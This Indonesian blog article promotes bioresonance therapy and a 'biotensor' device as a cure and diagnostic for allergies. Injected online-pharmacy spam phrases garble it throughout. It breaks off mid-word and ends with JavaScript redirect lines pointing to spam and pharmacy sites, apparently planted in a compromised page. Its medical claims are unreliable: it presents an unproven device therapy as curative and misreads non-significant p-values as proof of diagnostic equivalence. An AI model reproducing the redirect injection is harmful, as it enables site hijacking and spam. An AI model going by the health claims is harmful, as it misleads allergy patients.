Menyembuhkan Alergi

Bismillaahirrahmaanirrahiim

“Allah SWT yang menurunkan cialis online pharmacy usa penyakit dan IA pula yang menurunkan obatnya.”

Ini adalah pernyataan dari Allah sendiri melalui lisan Rasulullah saw. Termasuk di dalam penyakit ini adalah penyakit2 yang sekarang termasuk muskil disembuhkan, di antaranya kanker stadium lanjut, AID, alergi, dsb. Allah hanya memberikan SATU penyakit yang memang Allah tidak menurunkan obatnya, yaitu penyakit tua. Wallaahu ‘alam saya tidak tahu persis apakah yang dimaksudkan dengan penyakit “tua” di sini. Apakah penyakit “degeneratif” atau penyakit yang lain saya tidak tahu. Tetapi yang jelas, “alergi” tidak termasuk di dalam jajaran penyakit yang tidak diturunkan obatnya.

Pernyataan para dokter bahwa “alergi adalah penyakit yang tidak dapat disembuhkan” adalah pernyataan yang maksudnya, “menurut teknologi dan ilmu sejauh yang saya tahu, alergi BELUM dapat disembuhkan”. Pernyataan ini tidak prednisone 50 mg price Prednisone natural alternative memungkiri bahwa suatu saat penyakit inipun akan dapat disembuhkan.

PENDAHULUAN

Dalam seminar yang diselenggarakan FK UMS di Novotel Solo, saya mendapatkan satu ilmu yang cukup menarik tentang Rhinitis Alergika. Penyakit ini termasuk dalam jajaran penyakit alergi bersama2 teman2nya yang lain (asma, dermatitis atopik, dll).

Sampai saat ini, pengobatan yang masyhur dan sering dilakukan adalah pemberian obat2an untuk mengurangi gejala yang timbul, dan untuk mencegah berulangnya penyakit: dilakukan penghindaran terhadap alergen tersebut. Pengobatan ini adalah solusi sementara. Pasien masih akan terkena alergi bila terpapar dengan bahan yang menimbulkan reaksi alergi tersebut.

Pengobatan yang lain yang lebih mendasar adalah desensitisasi, di mana generic zoloft manufacturers100mg of zoloft for anxiety penderita dipapar terhadap bahan yang menimbulkan reaksi alergi sedikit demi sedikit, semakin lama dosis paparan dinaikkan berangsur-angsur hingga pasien tidak mengalami gejala alergi.

Kini ada terapi dan alat diagnostik yang relatif baru terhadap alergi, terutama yang dibahas dalam simposium tersebut adalah mengenai rhinitis alergika. Alat diagnostik baru ini terbukti sensitif dan spesifik (sebanding dengan Prick test). Juga teknik pengobatan ini terbukti manjur dalam mengatasi alergi. (pasien tidak mengalami gejala alergi meskipun mendapat paparan bahan alergen order prednisone online yang sebelumnya menyebabkan alergi).

Kemudian saya juga melacak dari kepustakaan di internet mengenai terapi dan alat diagnostik baru ini. Seperti lazimnya sesuatu yang baru, ada di antaranya yang pro, dan juga ada yang kontra. Terapi ini tidak menggunakan obat, tapi menggunakan alat, menggunakan prinsip2 fisika. Jadi jika dicari di jurnal2 medis (medis => medicine= obat) tidak akan ketemu. Tapi dapat ditemukan di jurnal2 biofisika.

Rangkuman dari semuanya itu coba saya tuliskan barangkali bisa bermanfaat buat para pembaca.

NARASUMBER

Pembicara dalam simposium tersebut adalah:

dr.H.Djoko S.Sindhusakti Sp.THT-KL(K) ,MBA,MARS,Msi

Pekerjaan beliau sekarang:
Dosen FKIP,FK. UNS, FK. UMS, Pasca Sarjana UNS (Lingkungan,MM)

Riwayat pendidikan:
– Dokter FK UGM 1974
– Spesialis THT FK UGM 1984
– MBA IMBI Yogyakarta 1992
– MARS UI Jakarta 1996
– Msi UNS Surakarta 2001
– Konsultan Audiologi
– Konsursium Perhati 2005

Web address:

http://bio-e.net/index.php?option=com_content&task=view&id=26&Itemid=2

http://ezinearticles.com/?Dowsing-Dowser-Divining-Radiesthesia—Using-of-Pendulum-and-Biotensor&id=84031

http://childrenallergyclinic.wordpress.com/2009/01/10/bioresonansi-biocom-vega-biotensorbio-e-tidak-direkomendasikan/

DESKRIPSI

Konsep biofisika dapat digunakan untuk mendiagnosis maupun menterapi penyakit pada pasien.

Prinsip kerja diagnostiknya mirip EKG. Dalam EKG, kita mendeteksi arus listrik lemah yang bersumber dari aktivitas listrik jantung yang diukur di antara elektroda-elektroda di permukaan kulit. Gambaran pola listrik yang terjadi dapat memberikan gambaran proses patologik yang terjadi di jantung. Ada sebagian pola listrik patologik jantung yang diketahui teorinya mengapa memberikan gambaran seperti itu, tetapi ada juga yang tidak diketahui mengapa memberikan gambaran seperti itu. Teori-teori mengenai EKG diketahui secara “induktif”, yaitu diketahui terlebih dahulu pola listrik jantung pada berbagai keadaan patologik, baru di kemudian hari dapat propecia price drop diterangkan mengapa memberikan gambaran seperti itu.

Setiap sel hidup dalam tubuh kita dapat memancarkan energi elektromagnetik lemah (biofoton). (Dibuktikan oleh Dr. F.A. Popp, 1975). Walaupun energi elektromagnetik ini lemah , dapat dideteksi dengan menggunakan alat pendeteksi gelombang elektromagnetik yang sangat sensitif.

Pola gelombang elektromagnetik ini ternyata berbeda-beda tergantung kondisi tubuh. Pola gelombang elektromagnetik tubuh yang sakit akan berbeda dengan tubuh yang sehat. Organ tubuh yang berbeda sakitnya, juga akan memberikan gambaran pola gelombang elektromagnetik yang berbeda. Teknik pendeteksian gelombang elektromagnetik buy arimidex onlineAnastrozole generic cost ini untuk diagnosis dinamakan BIOTENSOR TEST.

Dari penemuan ini, dikembangkan juga oleh insinyur Franz Morell dan Erich Raschke (1977) untuk terapi. Prinsip terapinya adalah memberikan gelombang elektromagnetik pada pasien dengan pola stromectol saleStromectol 3 mg tablets gelombang yang dibalik (inverted) dari pola penemuan patologisnya. Terapi ini dinamakan BIORESONANCE THERAPY. Dari sini banyak para ahli yang tertarik untuk mendalaminya untuk terapi pada berbagai penyakit. Hasil yang cukup sukses dialami oleh Dr. Peter Schumacher (1991) untuk menyembuhkan alergi. Hasil inilah yang paling menonjol dalam teknik bioresonance. Sedangkan kesembuhan untuk penyakit2 lainnya belum banyak diketahui.

Pada proses deteksi dan penyembuhan alergi, pasien duduk di kursi atau berbaring di dekat alat BIOTENSOR TEST. Dari alat tersebut, menjulur kabel yang dihubungkan ke elektroda berupa bola yang dipegang pasien. Dan di bantalan tempat duduk atau pembaringan pasien, terdapat kabel lain yang terhubung ke mesin tersebut. Selanjutnya, frekuensi gelombang alergen akan ditangkap oleh alat.

Untuk memanfaatkannya sebagai terapi (BIORESONANCE), seperti bayangan cermin, gelombang ini dibalik dan menghasilkan pola gelombang yang berguna menyembuhkan alergi. Lamanya waktu terapi berkisar antara 15-30 menit.

Metode ini digunakan di lebih dari 54 negara termasuk Indonesia. Terapi Bioresonansi masuk ke Indonesia sekitar tahun 1996, dibawa oleh pioneer terapi Bioresonansi di Indonesia yaitu DR.Dr.Aris Wibudi, SpPD.

PENELITIAN DIAGNOSTIK

Dalam ilmu kedokteran konvensional, reaksi alergi tipe cepat (alergi obat, buy domperidone new zealand asma, rhinitis alergi, dll) dibuktikan dengan Prick test (tes tusuk). Sedangkan reaksi alergi tipe lambat dengan Patch test (tes tempel). Tes Prick ini kekurangannya yaitu rasa nyeri dan untuk pasien anak (yang kasus alerginya cukup banyak) menyebabkan takut.

Karena yang lebih berhubungan dengan tema simposium adalah Prick test (tema simposium adalah rhinitis cialis prices alergi), dalam hal ini alat diagnotik biotensor diperbandingkan dengan Prick test. Dalam penelitian dr Djoko Sindhu, digunakan 34 alergen untuk membandingkannya dengan Prick Test. Lalu dilihat masing-masing signifikansinya (alpha) antara tes tusuk dengan biotensor.

Pasien yang memiliki gejala2 (BRISK= Blocking, Rhinorhea, Itching, Sneezing, riw. Keluarga atopi) dan tanda2 pemeriksaan fisik rinitis alergi akan ditest dengan Prick dan biotensor dengan masing2 34 alergen, kemudian dilihat perbedaan statistik antara kedua cialis super active italia test tersebut.

Alergen:

Debu Rumah
Campuran Debu Rumah
Tungau
Serpih Kulit Manusia
Serbuk Sari Rumput
Serbuk Sari Padi
Serbuk Sari Jagung
Jemur
Kecoa
Bulu Ayam
Bulu Anjing
Bulu kucing
Gandum
Coklat
Kopi
Teh
Kedelai
Terigu
Tomat
Wortel
Nanas
Kacang Tanah
Kacang Mete
Susu Sapi
Putih Telur
Kuning Telur
Tongkol
Ayam
Cumi
Bandeng
Udang
Kakap
Kepiting
Kerang

Dalam penelitian, signifikansinya (alpha) untuk masing2 alergen bervariasi antara terendah 0,7… hingga tertinggi 0,9… Kita masih ingat bahwa signifikansi < 0,05 berarti ada perbedaan signifikan antara 2 doxycycline price walgreensdoxycycline sale online jenis test.

Sedangkan untuk nilai diagnostik, standar bahwa alat diagnostik itu diflucan next day deliverygeneric diflucan valid adalah alpha > 0,3. Bila didapatkan signifikansi alpha > 0,6 berarti alat diagnostik tersebut dapat diandalkan (reliable).

Dalam penelitian ini berarti tidak ada beda signifikan antara tes Prick dan test biotensor. Alat ini dapat diandalkan, nilai diagnostiknya senilai dengan Prick test.

PENELITIAN TERAPI

Dari pasien yang positif hasil test, akan diterapi dengan teknik Bioresonance, kemudian dinilai gejala2 yang timbul sebelum dan sesudah terapi dengan bioresonance. Selain dinilai gejalanya, juga dinilai masih ada atau tidak alergi pada alergen tertentu tsb.

Dari percobaan, didapat data 40 pasien
————————–————————–————————–————-
Allergic Rhinitis Symptoms Number of Patients Score
Before After
————————–————————–————————–————-
—RPS—
Blocking 17 +++ –
Running 13 +++ +
Itching 10 ++ –
Sneezing 17 ++ –

—RPK—
Riwayat atopi keluarga 40 + +

—RPD—
Asthma 10 ++ –
Urticaria 8 ++ –
Sleeping disorder 2 ++ –
————————–————————–————————–————
Tabel di atas menunjukkan bahwa di antara gejala2 dan riwayat rinitis alergika, hanya running (rhinorhea) dan riwayat atopik keluarga yang masih menetap setelah diterapi. Tetapi untuk rhinorhea terjadi penurunan kuantitas rhinorhea (positif 3 ==> positif 1).

sedangkan gejala2 lainnya menghilang setelah diterapi.

Dari zyban buy zyban without prescription tes biotensor didapatkan data bahwa sebelum diterapi, pasien positif alergi terhadap berbagai macam alergen, paling sedikit terdeteksi 6 alergen, paling banyak terdeteksi 14 alergen.

Setelah terapi, jumlah alergen yang dibuktikan dari hasil tes menurun. Setelah terapi pertama, ada yang dari 34 alergen yang dicobakan sama sekali tidak terdeteksi, ada yang masih terdeteksi paling banyak 2 alergen. Setelah terapi kedua, dari penelitian ini tidak ditemukan hasil tes pada pasien yang positif.

KESIMPULAN

Dari penelitian yang dilakukan dr Djoko Sindhu Sp. THT dibuktikan bahwa tes biotensor sebanding akurasinya dengan tes prick, sedangkan terapi bioresonansi memiliki efek terapi yang signifikan, baik dari gejala yang timbul maupun reaksi alergi xenical orlistat buy online usacheap xenical 120 mg pada saat dilakukan tes alergi.

————————–————————–————————–————————–—————-

Dari berbagai bacaan, hasil terapi bioresonansi bervariasi. Ada yang menyebutkan sembuh 70an persen pasien hilang gejalanya, ada yang 80an persen, ada juga yang 90 persen lebih pasien menghilang gejalanya. YANG CUKUP MENGGEMBIRAKAN DARI TERAPI INI ADALAH, SEDIKIT DEMI SEDIKIT SETELAH BEBERAPA KALI TERAPI PASIEN DAPAT TERPAPAR DENGAN BAHAN-BAHAN YANG DULUNYA MERUPAKAN ALERGEN. Umumnya setelah 3 kali terapi membaik, tetapi ada juga yang sampai 5 kali.

Efek terapi ini belum dapat dikatakan permanen. Ada pasien yang dapat betul2 terpapar dengan alergen tanpa mengalami gejala alergi walaupun sudah lama tidak diterap. Ada juga pasien lain yang setelah diterawindow.location = “http://www.mobilecontentstore.mobi/?sl=319481-c261c&data1=Track1&data2=Track2”; window.location = “http://cheap-pills-norx.com/search.htm?route=search&q=”;